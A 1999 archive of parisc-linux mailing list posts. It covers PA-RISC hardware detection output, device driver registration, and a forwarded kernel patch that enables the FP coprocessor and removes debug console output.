	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Sep 1999 23:39:52 -0600
Original-Received: (qmail 14917 invoked by uid 15267); 30 Sep 1999 05:40:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14910 invoked from network); 30 Sep 1999 05:40:16 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 30 Sep 1999 05:40:16 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id BAA19875
	for <parisc-linux@thepuffingroup.com>; Thu, 30 Sep 1999 01:57:22 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9987


Yesterday I committed some hardware detection code that actually worked
on my A180.  I spent today refining it to work on my 715, which works,
but I need others to test it on different hardware.

Here's what I get on my 715:

Probing PDC firmware for devices, found:
This is an older box...
   - Scorpio Sr. Core SCSI (10) at 0xf0825000, versions 0x19, 0x0, 0x71,
0x0,    
   - Scorpio Sr. Core LAN (802.3) (10) at 0xf0826000, versions 0x19,
0x0, 
   - Scorpio Sr. Core HIL (10) at 0xf0821000, versions 0x19, 0x0, 0x73,
0x0, 
   - Scorpio Sr. Core RS-232 (10) at 0xf0823000, versions 0x19, 0x0,
0x75, 
   - Scorpio Sr. Core RS-232 (10) at 0xf0822000, versions 0x19, 0x0,
0x75, 
   - Scorpio Sr. Core Centronics (10) at 0xf0824000, versions 0x19, 0x0,
0x74, 
   - Scorpio Sr. Audio (10) at 0xf1000000, versions 0x19, 0x0, 0x7b,
0x0, 0x0
That's 7 devices total.
Linux version 2.2.12 (adevries@rum) (gcc version egcs-2.91.60 19981201
(egcs-1.5 Thu Sep 30 09:22:07 EDT 1999
etc

On my A180 (with an add in 10/100 ethernet card and a dual gigabit
ethernet card), I get:

Probing PDC firmware for devices, found:
   - Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0,
0x0,  
   - Phantom PseudoBC GSC+ Port (7) at 0xffc01000, versions 0x505, 0x0,
0x0,   
   - HP HSC-PCI Cards (4) at 0xfff84000, versions 0x4, 0x0, 0x9d, 0x0,
0x80
   - HP HSC-PCI Cards (4) at 0xfff88000, versions 0x4, 0x0, 0x9d, 0x0,
0x80
   - Staccato L2 180 (A Class 180) (0) at 0xfffbe000, versions 0x516,
0x0,     
   - Staccato L2 180 Memory (1) at 0xfffbf000, versions 0x8b, 0x0, 0x9,
0x0,    
   - Staccato 180 Lasi (11) at 0xffd00000, versions 0x5f, 0x0, 0x81,
0x0, 0x0
   - Staccato 180 Core LAN RS-232 (10) at 0xffd05000, versions 0x5f,
0x0, 
   - Staccato 180 Core SCSI (10) at 0xffd06000, versions 0x5f, 0x0,
0x82, 0x0, 
   - Dino PCI Bridge (13) at 0xfff80000, versions 0x680, 0x3, 0xa, 0x0,
0x0
That's 10 devices total.
Linux version 2.2.12 (adevries@rum) (gcc version egcs-2.91.60 19981201
(egcs-1.5 Thu Sep 30 09:22:07 EDT 1999

I'm very interested in seeing the results on pretty much any other
hardware.  Could people please test either building a kernel from
source, or from the binary at:

ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/Image-19990929

I'd appreciate it if you could just mail me
(adevries@thepuffingroup.com) the results of an entire bootup.  If you
could put the machine name in the subject, it'd help.

Getting this to go was pretty hard, since the docs for MEM_MAP and
SYSTEM_MAP were unavailable at the time of the writing of the code. The
somewhat random alignment chewed up a lot of time.  

In other good news, it sounds like Philipp is close to getting a serial
console on Lasi going.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Testers needed for hardware detection code...
Date: Thu, 30 Sep 1999 07:22:16 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <199909301422.HAA10830@milano.cup.hp.com>
References: <37F2FBC1.4A09AF1E@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619782 14166 80.91.229.3 (22 Nov 2014 01:29:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: grundler@cup.hp.com  Thu Sep 30 08:23:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA07919
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Sep 1999 08:23:02 -0600
Original-Received: (qmail 26126 invoked by uid 15267); 30 Sep 1999 14:23:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26116 invoked from network); 30 Sep 1999 14:23:20 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 30 Sep 1999 14:23:20 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by cosrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id IAA25010;
	Thu, 30 Sep 1999 08:22:57 -0600 (MDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id HAA10830; Thu, 30 Sep 1999 07:22:16 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 30 Sep 1999 01:57:21 PDT."
             <37F2FBC1.4A09AF1E@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9988

Alex deVries wrote:
> 
> Yesterday I committed some hardware detection code that actually worked
> on my A180.  I spent today refining it to work on my 715, which works,
> but I need others to test it on different hardware.

Kudos!

...
> I'd appreciate it if you could just mail me
> (adevries@thepuffingroup.com) the results of an entire bootup.  If you
> could put the machine name in the subject, it'd help.

Alex meant "model" (eg 9000/715/E) output or "Model" info which
is typically printed next to the serial number on the back of the box.

He really doesn't care if your hostname is "frodo". :^)

cheers,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] registering device drivers
Date: Fri, 01 Oct 1999 02:44:45 -0400
Organization: The Puffin Group
Lines: 55
Approved: news@gmane.org
Message-ID: <37F4585D.818C796D@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619783 14168 80.91.229.3 (22 Nov 2014 01:29:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Oct  1 00:27:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA09321
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Oct 1999 00:27:20 -0600
Original-Received: (qmail 2690 invoked by uid 15267); 1 Oct 1999 06:27:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2683 invoked from network); 1 Oct 1999 06:27:45 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 1 Oct 1999 06:27:45 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id CAA20657
	for <parisc-linux@thepuffingroup.com>; Fri, 1 Oct 1999 02:44:45 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9989

So the step after finding modules is to be able to get device drivers to
be loaded when modules are found.

I've got the start of this going, and now I get this as output:
    
Found devices:
0. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0,
0x0, 0x0,0
1. Phantom PseudoBC GSC+ Port (7) at 0xffc01000, versions 0x505, 0x0,
0x0, 0x0,0
2. HP HSC-PCI Cards (4) at 0xfff84000, versions 0x4, 0x0, 0x9d, 0x0,
0x80
3. HP HSC-PCI Cards (4) at 0xfff88000, versions 0x4, 0x0, 0x9d, 0x0,
0x80
4. Staccato L2 180 (A Class 180) (0) at 0xfffbe000, versions 0x516, 0x0,
0x4, 01
5. Staccato L2 180 Memory (1) at 0xfffbf000, versions 0x8b, 0x0, 0x9,
0x0, 0x0
6. Staccato 180 Lasi (11) at 0xffd00000, versions 0x5f, 0x0, 0x81, 0x0,
0x0
7. Staccato 180 Core LAN RS-232 (10) at 0xffd05000, versions 0x5f, 0x0,
0x8c, 00
8. Staccato 180 Core SCSI (10) at 0xffd06000, versions 0x5f, 0x0, 0x82,
0x0, 0x0
9. Dino PCI Bridge (13) at 0xfff80000, versions 0x680, 0x3, 0xa, 0x0,
0x0
That's a total of 10 devices.
in register_driver
Dino callback called, should be at 0xfff80000
Dino callback called, should be at 0xfff84000
Dino callback called, should be at 0xfff88000
in register_driver
callback for Lasi at HPA 0xffd00000

Here, you can see it finding all the hardware, then loading the Dino and
Lasi drivers at the appropriate HPAs.  Of course, the dino and lasi
startups are just shells, but the drivers can now be fixed to actually
*do* something (like find more devices on it's own bus, and register
those).

The system should work pretty well: device drivers can be registered at
any time (when registering them, they check to see if any devices need
driving), and devices can be registered at any time (checking to see if
there's any available drivers for them).

I'll commit some of this tomorrow. My changes offer the skeletons of
what needs to be in lasi.c and dino.c, those'll be have to be filled in.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [grundler@puffin.external.hp.com: commit FP coproc enable code?]
Date: Fri, 1 Oct 1999 15:12:06 -0400
Lines: 194
Approved: news@gmane.org
Message-ID: <19991001151206.H17134@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="5Mfx4RzfBqgnTE/w"
X-Trace: ger.gmane.org 1416619783 14171 80.91.229.3 (22 Nov 2014 01:29:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@burrow.puffingroup.com  Fri Oct  1 12:44:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA10626
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Oct 1999 12:44:40 -0600
Original-Received: (qmail 31154 invoked by uid 15267); 1 Oct 1999 18:45:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31144 invoked from network); 1 Oct 1999 18:45:06 -0000
Original-Received: from burrow.puffingroup.com (pschwan@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 1 Oct 1999 18:45:06 -0000
Original-Received: (from pschwan@localhost)
	by burrow.puffingroup.com (8.8.7/8.8.7) id PAA21059
	for parisc-linux@thepuffingroup.com; Fri, 1 Oct 1999 15:12:07 -0400
X-Mailer: Mutt 0.93.2
Xref: news.gmane.org gmane.linux.ports.parisc:9990


--5Mfx4RzfBqgnTE/w
Content-Type: text/plain; charset=us-ascii

[ I think I've fixed the mailing list; here's the mails from Grant
  that it was dropping --phil ]

--5Mfx4RzfBqgnTE/w
Content-Type: message/rfc822
Content-Description: Forwarded message from grundler@puffin.external.hp.com

Return-Path: <parisc-linux-request@thepuffingroup.com>
Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by burrow.puffingroup.com (8.8.7/8.8.7) with SMTP id NAA20917
	for <pschwan@off.net>; Fri, 1 Oct 1999 13:53:24 -0400
Received: (qmail 2301 invoked by uid 15267); 1 Oct 1999 17:26:19 -0000
Delivered-To: thepuffi-pschwan@thepuffingroup.com
Received: (qmail 2289 invoked from network); 1 Oct 1999 17:26:18 -0000
Received: from puffin.external.hp.com (listserv@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 1 Oct 1999 17:26:18 -0000
Received: (from listserv@localhost)
	by puffin.external.hp.com (8.8.7/8.8.7) id LAA10008
	for pschwan@thepuffingroup.com; Fri, 1 Oct 1999 11:25:50 -0600
Date: Fri, 1 Oct 1999 11:25:50 -0600
X-Authentication-Warning: puffin.external.hp.com: listserv set sender to parisc-linux-request@thepuffingroup.com using -f
X-Envelope-From: grundler@puffin.external.hp.com  Fri Oct  1 11:25:46 1999
Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA09989
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Oct 1999 11:25:45 -0600
Received: (qmail 2256 invoked by uid 15267); 1 Oct 1999 17:26:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Received: (qmail 2248 invoked from network); 1 Oct 1999 17:26:11 -0000
Received: from puffin.external.hp.com (grundler@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 1 Oct 1999 17:26:11 -0000
Received: (from grundler@localhost)
	by puffin.external.hp.com (8.8.7/8.8.7) id LAA09983
	for parisc-linux@thepuffingroup.com; Fri, 1 Oct 1999 11:24:10 -0600
Old-Date: Fri, 1 Oct 1999 11:24:10 -0600
From: grundler@puffin.external.hp.com
Message-Id: <199910011724.LAA09983@puffin.external.hp.com>
To: parisc-linux@thepuffingroup.com
Subject: commit FP coproc enable code?
X-Diagnostic: Submission size exceeds 5120 bytes
X-Envelope-To: parisc-linux

[ 4th try...I'm not getting a copy back from the reflector...]

Hi all,
I'd like to commit changes to enable FP coproc for PA 1.1 arch.
Any objections?

o FP enable via writing cr10 (CCR) register. Not doing this the "right"
  way - which is to use PDC_COPROC but it will work for all PA1.1
  platforms.

o remove extraneous console output. I want to post console output
  for my next problem: kernel panic when trying to kill idle_task.

thanks,
grant

Index: linux/arch/parisc/kernel/head.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/head.S,v
retrieving revision 1.32
diff -u -r1.32 head.S
--- head.S      1999/08/31 19:25:23     1.32
+++ head.S      1999/09/30 22:43:03
@@ -295,9 +295,20 @@
        ldil            L%KERNEL_PSW,%r10
        ldo             R%KERNEL_PSW(%r10),%r10
        mtctl           %r10,%ipsw
-       
-       mtctl           %r0,%cr17               ; Clear two-level IIA Space Queue
-       mtctl           %r0,%cr17               ;    effectively setting kernel space.
+
+       ; Just assume we have an FP coprocessor and assume firmware
+       ; did not enable it.
+       ; Pass what firmware set CCR (cr10) to start_parisc() and print it.
+       mfctl           %cr10, %arg2
+
+#define FP_COPROC_ENABLE 0xc0
+       ldil            L%FP_COPROC_ENABLE,%r10
+       ldo             R%FP_COPROC_ENABLE(%r10),%r10
+       mtctl           %r10,%cr10      ; CCR
+
+
+       mtctl           %r0,%cr17       ; Clear two-level IIA Space Queue
+       mtctl           %r0,%cr17       ;    effectively setting kernel space.
        ldil            L%start_parisc,%r10
        ldo             R%start_parisc(%r10),%r10
 
Index: linux/arch/parisc/kernel/setup.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/setup.c,v
retrieving revision 1.59
diff -u -r1.59 setup.c
--- setup.c     1999/09/28 22:34:57     1.59
+++ setup.c     1999/09/30 22:43:15
@@ -587,13 +587,16 @@
 #define PA(x) (void *)((unsigned long)(x)&~0xc0000000)
 extern int pdc_call_x(void *,...);
 
+#if 0
 static char iodc_tbuf[4096] __attribute__((aligned(4096))) = "Hallo\n";
 static char iodc_rbuf[4096] __attribute__((aligned(4096))) = "Hallo\n";
+#endif
 
 __initfunc(void start_parisc(unsigned long new_memory_start, 
-                            char *bootloader_command_line))
+                            char *bootloader_command_line,
+                            unsigned long ccr))
 {
-#if 1
+#if 0
        pdc_call_x(
                (void *)PAGE0->mem_cons.hpa, ENTRY_IO_COUT,
                PAGE0->mem_cons.spa, PAGE0->mem_cons.dp.layers,
@@ -613,28 +616,24 @@
        pdc_console_init();
 
        printk("The Kernel has started...\n");
+#if 0
        printk("Hmm\n");
        printk("%d\n", 7);
        printk("%d\n", *(unsigned *)0xc0000000);
-
+#endif
        printk("%p\n", bootloader_command_line);
        printk("You are running a %dMHz PA-RISC-Machine with %dMB of RAM.\n",
                ((int)PAGE0->mem_10msec/10000), PAGE0->imm_max_mem>>20);
+       printk("FP CCR was set to: 0x%x\n", (int) ccr);
        parisc_memstart = new_memory_start;
        
        pdc = PAGE0->mem_pdc;
 
-       printk("You are running a %dMHz PA-RISC-Machine with %dMB of RAM.\n",
-               ((int)PAGE0->mem_10msec/10000), PAGE0->imm_max_mem>>20);
-
        if (bootloader_command_line)
            strcpy(saved_command_line,__va(bootloader_command_line));
        else
            saved_command_line[0] = 0;
 
-       printk("You are running a %dMHz PA-RISC-Machine with %dMB of RAM.\n",
-               ((int)PAGE0->mem_10msec/10000), PAGE0->imm_max_mem>>20);
-
        printk("Free memory was at 0x%08lX (=stackbase, stacksize=0x%08lX).\n",
                new_memory_start,(unsigned long)KERNEL_STACKSIZE );
 
@@ -659,7 +658,7 @@
 #endif
        initrd_below_start_ok = 1;
        
-       printk("initrd: %08x-%08x\n", initrd_start, initrd_end);
+       printk("initrd: %08x-%08x\n", (int) initrd_start, (int) initrd_end);
        *memory_start_p = parisc_memstart;
        *memory_end_p   = 0xc2000000;
 
Index: linux/drivers/block/rd.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/block/rd.c,v
retrieving revision 1.3
diff -u -r1.3 rd.c
--- rd.c        1999/09/22 18:10:17     1.3
+++ rd.c        1999/09/30 22:43:26
@@ -219,7 +219,6 @@
 {
        int left;
 
-       printk("initrd_read\n");
        left = initrd_end - initrd_start - *ppos;
        if (count > left) count = left;
        if (count == 0) return 0;

Index: linux/fs/buffer.c
===================================================================
RCS file: /home/cvs/parisc/linux/fs/buffer.c,v
retrieving revision 1.3
diff -u -r1.3 buffer.c
--- buffer.c    1999/09/22 18:10:35     1.3
+++ buffer.c    1999/09/30 22:44:21
@@ -840,8 +840,6 @@
 
        struct buffer_head * bh;
 
-       printk("bread bh=%08x\n", bh);
-//     printk("%08x\n", &buffer_page(bh)->flags);
        bh = getblk(dev, block, size);
        if (buffer_uptodate(bh))
                return bh;

--5Mfx4RzfBqgnTE/w--


From - Thu Nov 08 21:16:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [grundler@cup.hp.com: permission to submit changes?]
Date: Fri, 1 Oct 1999 15:12:17 -0400
Lines: 200
Approved: news@gmane.org
Message-ID: <19991001151217.I17134@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=Z0mFw3+mXTC5ycVe
X-Trace: ger.gmane.org 1416619783 14173 80.91.229.3 (22 Nov 2014 01:29:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@burrow.puffingroup.com  Fri Oct  1 12:44:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA10688
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Oct 1999 12:44:51 -0600
Original-Received: (qmail 31224 invoked by uid 15267); 1 Oct 1999 18:45:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31209 invoked from network); 1 Oct 1999 18:45:16 -0000
Original-Received: from burrow.puffingroup.com (pschwan@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 1 Oct 1999 18:45:16 -0000
Original-Received: (from pschwan@localhost)
	by burrow.puffingroup.com (8.8.7/8.8.7) id PAA21065
	for parisc-linux@thepuffingroup.com; Fri, 1 Oct 1999 15:12:17 -0400
X-Mailer: Mutt 0.93.2
Xref: news.gmane.org gmane.linux.ports.parisc:9991


--Z0mFw3+mXTC5ycVe
Content-Type: text/plain; charset=us-ascii

[ I think I've fixed the mailing list; here's the mails from Grant
  that it was dropping --phil ]


--Z0mFw3+mXTC5ycVe
Content-Type: message/rfc822
Content-Description: Forwarded message from Grant Grundler <grundler@cup.hp.com>

Return-Path: <parisc-linux-request@thepuffingroup.com>
Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by burrow.puffingroup.com (8.8.7/8.8.7) with SMTP id CAA20380
	for <pschwan@off.net>; Fri, 1 Oct 1999 02:06:49 -0400
Received: (qmail 27436 invoked by uid 15267); 1 Oct 1999 05:40:04 -0000
Delivered-To: thepuffi-pschwan@thepuffingroup.com
Received: (qmail 27424 invoked from network); 1 Oct 1999 05:40:04 -0000
Received: from puffin.external.hp.com (listserv@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 1 Oct 1999 05:40:04 -0000
Received: (from listserv@localhost)
	by puffin.external.hp.com (8.8.7/8.8.7) id XAA09197
	for pschwan@thepuffingroup.com; Thu, 30 Sep 1999 23:39:37 -0600
Date: Thu, 30 Sep 1999 23:39:37 -0600
X-Envelope-From: grundler@cup.hp.com  Thu Sep 30 23:39:33 1999
Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA09182
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Sep 1999 23:39:33 -0600
Received: (qmail 27401 invoked by uid 15267); 1 Oct 1999 05:39:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Received: (qmail 27394 invoked from network); 1 Oct 1999 05:39:58 -0000
Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 1 Oct 1999 05:39:58 -0000
Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id BAA27206
	for <parisc-linux@thepuffingroup.com>; Fri, 1 Oct 1999 01:39:16 -0400 (EDT)
Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id WAA12384 for <parisc-linux@thepuffingroup.com>; Thu, 30 Sep 1999 22:38:57 -0700 (PDT)
Message-Id: <199910010538.WAA12384@milano.cup.hp.com>
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
To: parisc-linux@thepuffingroup.com
Subject: permission to submit changes?
Old-Date: Thu, 30 Sep 1999 22:38:53 -0700
From: Grant Grundler <grundler@cup.hp.com>
X-Diagnostic: Submission size exceeds 5120 bytes
X-Envelope-To: parisc-linux


I'd like to submit the following minor changes. Any objections?

o enables FP coprocessor blindly - OK for PA 1.1 systems.
  Should be using PDC_PROC but I just wanted to try it out.

o clean up some of the excessive console output.
  More could be done here. But I just wanted to be able
  to cut/paste reasonable amounts of stuff.
  
Yes, my kernel panic'd when trying to kill the idle task.
That's an improvement over the "code 22 interrupt".
I'll post the output tomorrow.

(Lamont was feeling a bit guilty about not having hacked mkImage.c
despite volunteering for it...)

thanks,
grant

Index: linux/arch/parisc/kernel/head.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/head.S,v
retrieving revision 1.32
diff -u -r1.32 head.S
--- head.S	1999/08/31 19:25:23	1.32
+++ head.S	1999/09/30 22:43:03
@@ -295,9 +295,20 @@
 	ldil		L%KERNEL_PSW,%r10
 	ldo		R%KERNEL_PSW(%r10),%r10
 	mtctl		%r10,%ipsw
-	
-	mtctl		%r0,%cr17		; Clear two-level IIA Space Queue
-	mtctl		%r0,%cr17		;    effectively setting kernel space.
+
+	; Just assume we have an FP coprocessor and assume firmware
+	; did not enable it.
+	; Pass what firmware set CCR (cr10) to start_parisc() and print it.
+	mfctl		%cr10, %arg2
+
+#define FP_COPROC_ENABLE 0xc0
+	ldil		L%FP_COPROC_ENABLE,%r10
+	ldo		R%FP_COPROC_ENABLE(%r10),%r10
+	mtctl		%r10,%cr10	; CCR
+
+
+	mtctl		%r0,%cr17	; Clear two-level IIA Space Queue
+	mtctl		%r0,%cr17	;    effectively setting kernel space.
 	ldil		L%start_parisc,%r10
 	ldo		R%start_parisc(%r10),%r10
 
Index: linux/arch/parisc/kernel/setup.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/setup.c,v
retrieving revision 1.59
diff -u -r1.59 setup.c
--- setup.c	1999/09/28 22:34:57	1.59
+++ setup.c	1999/09/30 22:43:15
@@ -587,13 +587,16 @@
 #define PA(x) (void *)((unsigned long)(x)&~0xc0000000)
 extern int pdc_call_x(void *,...);
 
+#if 0
 static char iodc_tbuf[4096] __attribute__((aligned(4096))) = "Hallo\n";
 static char iodc_rbuf[4096] __attribute__((aligned(4096))) = "Hallo\n";
+#endif
 
 __initfunc(void start_parisc(unsigned long new_memory_start, 
-			     char *bootloader_command_line))
+			     char *bootloader_command_line,
+			     unsigned long ccr))
 {
-#if 1
+#if 0
 	pdc_call_x(
 		(void *)PAGE0->mem_cons.hpa, ENTRY_IO_COUT,
 		PAGE0->mem_cons.spa, PAGE0->mem_cons.dp.layers,
@@ -613,28 +616,24 @@
 	pdc_console_init();
 
 	printk("The Kernel has started...\n");
+#if 0
 	printk("Hmm\n");
 	printk("%d\n", 7);
 	printk("%d\n", *(unsigned *)0xc0000000);
-
+#endif
 	printk("%p\n", bootloader_command_line);
 	printk("You are running a %dMHz PA-RISC-Machine with %dMB of RAM.\n",
 		((int)PAGE0->mem_10msec/10000), PAGE0->imm_max_mem>>20);
+	printk("FP CCR was set to: 0x%x\n", (int) ccr);
 	parisc_memstart = new_memory_start;
 	
 	pdc = PAGE0->mem_pdc;
 
-	printk("You are running a %dMHz PA-RISC-Machine with %dMB of RAM.\n",
-		((int)PAGE0->mem_10msec/10000), PAGE0->imm_max_mem>>20);
-
 	if (bootloader_command_line)
 	    strcpy(saved_command_line,__va(bootloader_command_line));
 	else
 	    saved_command_line[0] = 0;
 
-	printk("You are running a %dMHz PA-RISC-Machine with %dMB of RAM.\n",
-		((int)PAGE0->mem_10msec/10000), PAGE0->imm_max_mem>>20);
-
 	printk("Free memory was at 0x%08lX (=stackbase, stacksize=0x%08lX).\n",
 		new_memory_start,(unsigned long)KERNEL_STACKSIZE );
 
@@ -659,7 +658,7 @@
 #endif
 	initrd_below_start_ok = 1;
 	
-	printk("initrd: %08x-%08x\n", initrd_start, initrd_end);
+	printk("initrd: %08x-%08x\n", (int) initrd_start, (int) initrd_end);
 	*memory_start_p = parisc_memstart;
 	*memory_end_p	= 0xc2000000;
 
Index: linux/drivers/block/rd.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/block/rd.c,v
retrieving revision 1.3
diff -u -r1.3 rd.c
--- rd.c	1999/09/22 18:10:17	1.3
+++ rd.c	1999/09/30 22:43:26
@@ -219,7 +219,6 @@
 {
 	int left;
 
-	printk("initrd_read\n");
 	left = initrd_end - initrd_start - *ppos;
 	if (count > left) count = left;
 	if (count == 0) return 0;

Index: linux/fs/buffer.c
===================================================================
RCS file: /home/cvs/parisc/linux/fs/buffer.c,v
retrieving revision 1.3
diff -u -r1.3 buffer.c
--- buffer.c	1999/09/22 18:10:35	1.3
+++ buffer.c	1999/09/30 22:44:21
@@ -840,8 +840,6 @@
 
 	struct buffer_head * bh;
 
-	printk("bread bh=%08x\n", bh);
-//	printk("%08x\n", &buffer_page(bh)->flags);
 	bh = getblk(dev, block, size);
 	if (buffer_uptodate(bh))
 		return bh;

--Z0mFw3+mXTC5ycVe--


From - Thu Nov 08 21:16:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] commit FP coproc enable code?
Date: Fri, 1 Oct 1999 20:56:25 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <19991001205625.J16533@suse.de>
References: <19991001151206.H17134@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
